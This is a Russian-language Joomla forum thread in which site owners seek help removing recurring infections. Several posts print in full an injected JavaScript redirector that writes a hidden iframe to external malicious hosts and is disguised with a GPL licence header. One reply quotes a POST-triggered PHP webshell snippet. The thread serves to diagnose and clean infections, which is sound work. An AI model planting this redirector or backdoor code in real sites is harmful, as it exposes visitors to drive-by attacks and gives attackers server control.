0 Пользователей и 1 Гость просматривают эту тему.
  • 356 Ответов
  • 68316 Просмотров
*

digger_on

  • Новичок
  • 8
  • 0 / 0
нет сначала сайт почистить полностью, от бэкдоров и прочих скриптов

Ок. Тогда возникает другой вопрос. Я когда все скрипты почистил и залил на хост, они сразу "пачкаются" =)
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Значит не почистили.
*

leo78

  • Завсегдатай
  • 1018
  • 62 / 8
  • I left from paradise!?...
Аналогичная фигня не могу избавиться чистил и  опять:
Код
//sifucnci
/*
*/

(function(){
function stripos (f_haystack, f_needle, f_offset) {
 var haystack = (f_haystack + '').toLowerCase();
 var needle = (f_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, f_offset))!== -1) {
  return index;
 }
 return false;
}
function nerdglobus(){
 var maloArticulo = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome/32','Chrome','IEMobile','SymbianOS','Avant','Chromium','Firefox/18.0','Firefox/18.0.1','Firefox/17.0','Firefox/12.0','Firefox/25.0','Firefox/24.0','Firefox/18.0.2','Firefox/19.0','Firefox/19.0.1','Firefox/20.0','Firefox/21.0','Firefox/22.0','Firefox/23.0','Firefox/25.0.1','Firefox/26.0','Maxthon','Chrome/31','Chrome/7','Chrome/30','Chrome/29','Chrome/28','Chrome/27','ChromePlus','MSIE 6.1','MSIE 6.01','MSIE 6.0b','MSIE 6.0','rv:11.0'];
 var hermanKA = false;
 for (var i in maloArticulo) {
  if (stripos(navigator.userAgent, maloArticulo[i])) {
   hermanKA = true;
   break;
  }
 }
 return hermanKA;
}
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
 var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!nerdglobus()) {
 var cookie = getCookie('media87tron19long107he');
 if (cookie == undefined) {
  setCookie('media87tron19long107he', true, 260000);
  document.write('<'+'i'+'f'+'r'+'a'+'m'+'e'+' s'+'r'+'c'+'='+'http://pipikus.autrechose.ch/ykukterh?mimimi'+' style="position:absolute;left:-1399px;top:-1399px;" height="121" width="130">'+'<'+'/'+'i'+'f'+'r'+'a'+'m'+'e'+'>');
 }
};
})();
//cropalis

*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
Аналогичная фигня не могу избавиться чистил и  опять:
Joomla 1.5.х ? Обновил, удалил JCE and nnframework ?
*

leo78

  • Завсегдатай
  • 1018
  • 62 / 8
  • I left from paradise!?...
Joomla 1.5.х ? Обновил, удалил JCE and nnframework ?
Joomla 1.5.26 - основной
Joomla 2.5.x - удалил
Joomla 3.2 - удалил

nnframework?

список в doc файл описано, Найдены сигнатуры шелл-скрипта. Подозрение на вредоносный скрипт

- после перезаливки и стирания продержался один день
« Последнее редактирование: 13.12.2013, 16:30:52 от leo78 »
*

leo78

  • Завсегдатай
  • 1018
  • 62 / 8
  • I left from paradise!?...
Если что Dr.Web уже сообщил:
Цитировать
Присланный Вами файл добавлен в наши базы как JS.Redirector.205
*

Mabus666

  • Новичок
  • 1
  • 0 / 0
Дайте еще раз ссылку на заплатку для NoNumber! Framework :) А то там черт ногу сломит на их сайте ))

Ах, да, пожалуйста :)

А все, не надо, я его снес к чертям. Был и JCK и NoNumber ... кто их вообще ставил - не понятно.

Задолбался я php-шки чистить ((( почти в каждой папке насоздавал - зараза. А еще JS-ки чистить...а их штук 400-500. Кто подскажет скрипт для консоли бубнтовой?   

Код
find ./ -type f -name '*.js' -exec perl -pi -e 's/sifucnci*cropalis//g' {} \;

и
Код
find ./ -type f -name '*.js' -exec perl -pi -e 's/sifucnci.*cropalis//g' {} \;
« Последнее редактирование: 19.12.2013, 23:52:27 от Mabus666 »
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Там снизу есть у каждого расширения "скачать старые версии" ищите последнюю доступную для вашей Joomla. Это и есть заплатка.
*

злобный ламер

  • Захожу иногда
  • 192
  • 2 / 0
подскажите - это и есть сигнатура вируса - которую надо удалить?
Код
(function(){
function stripos (f_haystack, f_needle, f_offset) {
 var haystack = (f_haystack + '').toLowerCase();
 var needle = (f_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, f_offset))!== -1) {
  return index;
 }
 return false;
}
function nerdglobus(){
 var maloArticulo = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome/32','Chrome','IEMobile','SymbianOS','Avant','Chromium','Firefox/18.0','Firefox/18.0.1','Firefox/17.0','Firefox/12.0','Firefox/25.0','Firefox/24.0','Firefox/18.0.2','Firefox/19.0','Firefox/19.0.1','Firefox/20.0','Firefox/21.0','Firefox/22.0','Firefox/23.0','Firefox/25.0.1','Firefox/26.0','Maxthon','Chrome/31','Chrome/7','Chrome/30','Chrome/29','Chrome/28','Chrome/27','ChromePlus','MSIE 6.1','MSIE 6.01','MSIE 6.0b','MSIE 6.0','rv:11.0'];
 var hermanKA = false;
 for (var i in maloArticulo) {
  if (stripos(navigator.userAgent, maloArticulo[i])) {
   hermanKA = true;
   break;
  }
 }
 return hermanKA;
}
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
 var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!nerdglobus()) {
 var cookie = getCookie('media87tron19long107he');
 if (cookie == undefined) {
  setCookie('media87tron19long107he', true, 260000);
  document.write('<'+'i'+'f'+'r'+'a'+'m'+'e'+' s'+'r'+'c'+'='+'http://cabin.wordoor.at/whales.asp?like'+' style="position:absolute;left:-1400px;top:-1400px;" height="115" width="115">'+'<'+'/'+'i'+'f'+'r'+'a'+'m'+'e'+'>');
 }
};
})();
//cropalis
*

SDKiller

  • Живу я здесь
  • 2706
  • 329 / 5
  • ...ergo sum
Видимо, причём работающий избирательно - не во всех браузерах.
Выводит iframe со стороннего сайта в позиции left:-1400px;top:-1400px;
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
ДА.А текста лицензии перед кодом не было ?
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
подскажите - это и есть сигнатура вируса - которую надо удалить?
Код
(function(){
function stripos (f_haystack, f_needle, f_offset) {
 var haystack = (f_haystack + '').toLowerCase();
 var needle = (f_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, f_offset))!== -1) {
  return index;
 }
 return false;
}
function nerdglobus(){
 var maloArticulo = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome/32','Chrome','IEMobile','SymbianOS','Avant','Chromium','Firefox/18.0','Firefox/18.0.1','Firefox/17.0','Firefox/12.0','Firefox/25.0','Firefox/24.0','Firefox/18.0.2','Firefox/19.0','Firefox/19.0.1','Firefox/20.0','Firefox/21.0','Firefox/22.0','Firefox/23.0','Firefox/25.0.1','Firefox/26.0','Maxthon','Chrome/31','Chrome/7','Chrome/30','Chrome/29','Chrome/28','Chrome/27','ChromePlus','MSIE 6.1','MSIE 6.01','MSIE 6.0b','MSIE 6.0','rv:11.0'];
 var hermanKA = false;
 for (var i in maloArticulo) {
  if (stripos(navigator.userAgent, maloArticulo[i])) {
   hermanKA = true;
   break;
  }
 }
 return hermanKA;
}
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
 var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!nerdglobus()) {
 var cookie = getCookie('media87tron19long107he');
 if (cookie == undefined) {
  setCookie('media87tron19long107he', true, 260000);
  document.write('<'+'i'+'f'+'r'+'a'+'m'+'e'+' s'+'r'+'c'+'='+'http://cabin.wordoor.at/whales.asp?like'+' style="position:absolute;left:-1400px;top:-1400px;" height="115" width="115">'+'<'+'/'+'i'+'f'+'r'+'a'+'m'+'e'+'>');
 }
};
})();
//cropalis
Я бы не сказал что это вирус, но явный код который не родной Joomla и не вами поставлен, сносите его и посмотрите куда он вообще инклудится, а еще проанализируйте логи, возможно найдете причину того как он папал туда!
*

злобный ламер

  • Захожу иногда
  • 192
  • 2 / 0
Я бы не сказал что это вирус, но явный код который не родной Joomla и не вами поставлен, сносите его и посмотрите куда он вообще инклудится, а еще проанализируйте логи, возможно найдете причину того как он папал туда!
это из джумшопинга
просто переодически пишут что поймали троян - вот и репу чешу... и ай-болит ругается
на сайте много похожего
(были шеллы руками все удалил)

весь код прилагаю
Код
//sifucnci
/*

GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.

b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.

c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License.  (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

END OF TERMS AND CONDITIONS
*/

(function(){
function stripos (f_haystack, f_needle, f_offset) {
 var haystack = (f_haystack + '').toLowerCase();
 var needle = (f_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, f_offset))!== -1) {
  return index;
 }
 return false;
}
function nerdglobus(){
 var maloArticulo = ['iPhone','Macintosh','Linux','iPad','Series40','SymbOS','Flock','SeaMonkey','Nokia','SlimBrowser','AmigaOS','Android','FreeBSD','Chrome/32','Chrome','IEMobile','SymbianOS','Avant','Chromium','Firefox/18.0','Firefox/18.0.1','Firefox/17.0','Firefox/12.0','Firefox/25.0','Firefox/24.0','Firefox/18.0.2','Firefox/19.0','Firefox/19.0.1','Firefox/20.0','Firefox/21.0','Firefox/22.0','Firefox/23.0','Firefox/25.0.1','Firefox/26.0','Maxthon','Chrome/31','Chrome/7','Chrome/30','Chrome/29','Chrome/28','Chrome/27','ChromePlus','MSIE 6.1','MSIE 6.01','MSIE 6.0b','MSIE 6.0','rv:11.0'];
 var hermanKA = false;
 for (var i in maloArticulo) {
  if (stripos(navigator.userAgent, maloArticulo[i])) {
   hermanKA = true;
   break;
  }
 }
 return hermanKA;
}
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
 var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!nerdglobus()) {
 var cookie = getCookie('media87tron19long107he');
 if (cookie == undefined) {
  setCookie('media87tron19long107he', true, 260000);
  document.write('<'+'i'+'f'+'r'+'a'+'m'+'e'+' s'+'r'+'c'+'='+'http://cabin.wordoor.at/whales.asp?like'+' style="position:absolute;left:-1400px;top:-1400px;" height="115" width="115">'+'<'+'/'+'i'+'f'+'r'+'a'+'m'+'e'+'>');
 }
};
})();
//cropalis






/*
 * Metadata - jQuery plugin for parsing metadata from elements
 *
 * Copyright (c) 2006 John Resig, Yehuda Katz, Jцrn Zaefferer, Paul McLanahan
 *
 * Dual licensed under the MIT and GPL licenses:
 *   http://www.opensource.org/licenses/mit-license.php
 *   http://www.gnu.org/licenses/gpl.html
 *
 * Revision: $Id$
 *
 */

/**
 * Sets the type of metadata to use. Metadata is encoded in JSON, and each property
 * in the JSON will become a property of the element itself.
 *
 * There are three supported types of metadata storage:
 *
 *   attr:  Inside an attribute. The name parameter indicates *which* attribute.
 *          
 *   class: Inside the class attribute, wrapped in curly braces: { }
 *  
 *   elem:  Inside a child element (e.g. a script tag). The
 *          name parameter indicates *which* element.
 *          
 * The metadata for an element is loaded the first time the element is accessed via jQuery.
 *
 * As a result, you can define the metadata type, use $(expr) to load the metadata into the elements
 * matched by expr, then redefine the metadata type and run another $(expr) for other elements.
 *
 * @name $.metadata.setType
 *
 * @example <p id="one" class="some_class {item_id: 1, item_label: 'Label'}">This is a p</p>
 * @before $.metadata.setType("class")
 * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
 * @desc Reads metadata from the class attribute
 *
 * @example <p id="one" class="some_class" data="{item_id: 1, item_label: 'Label'}">This is a p</p>
 * @before $.metadata.setType("attr", "data")
 * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
 * @desc Reads metadata from a "data" attribute
 *
 * @example <p id="one" class="some_class"><script>{item_id: 1, item_label: 'Label'}</script>This is a p</p>
 * @before $.metadata.setType("elem", "script")
 * @after $("#one").metadata().item_id == 1; $("#one").metadata().item_label == "Label"
 * @desc Reads metadata from a nested script element
 *
 * @param String type The encoding type
 * @param String name The name of the attribute to be used to get metadata (optional)
 * @cat Plugins/Metadata
 * @descr Sets the type of encoding to be used when loading metadata for the first time
 * @type undefined
 * @see metadata()
 */

(function($) {

$.extend({
metadata : {
defaults : {
type: 'class',
name: 'metadata',
cre: /({.*})/,
single: 'metadata'
},
setType: function( type, name ){
this.defaults.type = type;
this.defaults.name = name;
},
get: function( elem, opts ){
var settings = $.extend({},this.defaults,opts);
// check for empty string in single property
if ( !settings.single.length ) settings.single = 'metadata';

var data = $.data(elem, settings.single);
// returned cached data if it already exists
if ( data ) return data;

data = "{}";

if ( settings.type == "class" ) {
var m = settings.cre.exec( elem.className );
if ( m )
data = m[1];
} else if ( settings.type == "elem" ) {
if( !elem.getElementsByTagName ) return;
var e = elem.getElementsByTagName(settings.name);
if ( e.length )
data = $.trim(e[0].innerHTML);
} else if ( elem.getAttribute != undefined ) {
var attr = elem.getAttribute( settings.name );
if ( attr )
data = attr;
}

if ( data.indexOf( '{' ) <0 )
data = "{" + data + "}";

data = eval("(" + data + ")");

$.data( elem, settings.single, data );
return data;
}
}
});

/**
 * Returns the metadata object for the first member of the jQuery object.
 *
 * @name metadata
 * @descr Returns element's metadata object
 * @param Object opts An object contianing settings to override the defaults
 * @type jQuery
 * @cat Plugins/Metadata
 */
$.fn.metadata = function( opts ){
return $.metadata.get( this[0], opts );
};

})(jQuery);;;;
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
До описания можешь все удалять
Код
/*
 * Metadata - jQuery plugin for parsing metadata from elements
*

мираж

  • Захожу иногда
  • 368
  • 0 / 0
а у меня вот такое в фалах js/ удалял файлы типа 354a22.php. было по всему сайту. через пару десятков минут опять появились. что делать уже не знаю. помогите.

Спойлер
[свернуть]
*

мираж

  • Захожу иногда
  • 368
  • 0 / 0
Как помочь? Сканер айболит скачай и проверяй сайт
какой именно?
*

AlekVolsk

  • Гуру
  • 6915
  • 415 / 4
1. Листинги надо прятать под спойлер, экую простыню набросал...
2. Локальный бекап имеется?
*

rinaz

  • Новичок
  • 4
  • 0 / 0

Подскажите что делать.
2 недели назад яндыкс стал ругаться что на  сайте вирус Troj/JSRedir-LH . На хостинге 3 сайта Joomla 2.5 и 1,5. Обновила все сайты до последних версий вирус остался но модифицируется.  Вредоносные коды в файлах js то исчезают, то появляются.
сейчас
Код
/*Activities other than copying, distribution and modification are not covered by this License;
 they are outside its scope. The act of running the Program is not restricted, and the output
 from the Program is covered only if its contents constitute a work based on the Program
 (independent of having been made by running the Program). Whether that is true depends
on what the Program does.*/
(function(){
function stripos (m_haystack, m_needle, m_offset) {
 var haystack = (m_haystack + '').toLowerCase();
 var needle = (m_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, m_offset))!== -1) {
  return index;

Хостеры говорят что вируса на аккаунте нет. И шлют отчеты.
Многие сайты тоже говорят что чисто.
Яндекс второй день пишет что то есть вирус на сайте, то нет его  <_<
 Сейчас AntiVir выдает вирус   HTML/Rce.Gen
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Скриптик какой-то вам выдает их по времени. Надо его найти.
*

rinaz

  • Новичок
  • 4
  • 0 / 0
Вот и не знаю как найти его. И где искать :(
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
Скриптом айболит ищите.
*

rinaz

  • Новичок
  • 4
  • 0 / 0
Не находит :(
Сейчас у них старая версия. Обещают обновить на это недели. Ждем.
*

draff

  • Гуру
  • 5803
  • 434 / 7
  • ищу работу
И не найдет.Там шелл с запросом POST , типа
Код
if (md5($_POST['p']) == '15024f04848f21c14f9a8423cce66754') {
    preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']);
}
*

wishlight

  • Живу я здесь
  • 4980
  • 293 / 1
  • от 150 руб быстрый хостинг без блокировок
В общем надо искать. В природе не только айболит есть. Написать что ли статейку на Joomlaпортал о простых средствах борьбы с таким?
*

rinaz

  • Новичок
  • 4
  • 0 / 0
В общем надо искать. В природе не только айболит есть. Написать что ли статейку на Joomlaпортал о простых средствах борьбы с таким?
было бы очень хорошо :)
*

serjik

  • Захожу иногда
  • 344
  • 1 / 1
помогите советом! на протяжении последних полгода борюсь с вирусом Troyan.PHP.Agent  на сайтах. Если кто не знает то он переименовывает файл index.html  в index.html.bak.bak  \размещая рядом файл index.php с вредоносным кодом, и так же заражая массу других файлов. После чистки сайта от указанного вирусного кода все становится хорошо но не больше чем дня на три и потом опять по новой. В итоге рабочую неделю начинаю и заканчиваю с чистки сайтов от вируса )). 
ктото сталкивался с данной гадостью?
*

dmitry_stas

  • Легенда
  • 13151
  • 1234 / 8
на скринах midnight commander, точнее его редактор. команды вводятся в консоли линукс.
Тут дарят бакс просто за регистрацию! Успей получить!
Все советы на форуме раздаю бесплатно, то есть даром. Индивидуально бесплатно консультирую только по вопросам стоимости индивидуальных консультаций
*

voland

  • Легенда
  • 11031
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Обращайтесь, вылечу с закрытием от уязвимостей.
Но имейте ввиду - если есть варез, скорее всего, придется покупать лицензионные копии ПО.
*

serjik

  • Захожу иногда
  • 344
  • 1 / 1
на скринах midnight commander, точнее его редактор. команды вводятся в консоли линукс.
спасибо за объяснение, линукс не для меня ))
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Изолирование папок сайтов на OpenServer

Автор Lemady

Ответов: 41
Просмотров: 5686
Последний ответ 29.11.2021, 15:47:31
от KoreshS
[Решено] В php файлах во всех появилась хрень какая-то появилось давно что это ?

Автор altyn

Ответов: 72
Просмотров: 36420
Последний ответ 17.01.2019, 00:51:02
от Roki37
Делаю почту в общих настройках через smtp - в тот же день ящик взломан

Автор Mehanick

Ответов: 22
Просмотров: 1104
Последний ответ 25.05.2018, 08:11:19
от dmitry_stas
На мобильном не работает сайт (решено, ошибка в андройде)

Автор dragon4x4

Ответов: 5
Просмотров: 1263
Последний ответ 01.03.2018, 22:46:10
от dragon4x4
В админке еще один администратор

Автор Lidia

Ответов: 26
Просмотров: 2045
Последний ответ 07.12.2017, 16:55:25
от Fess_N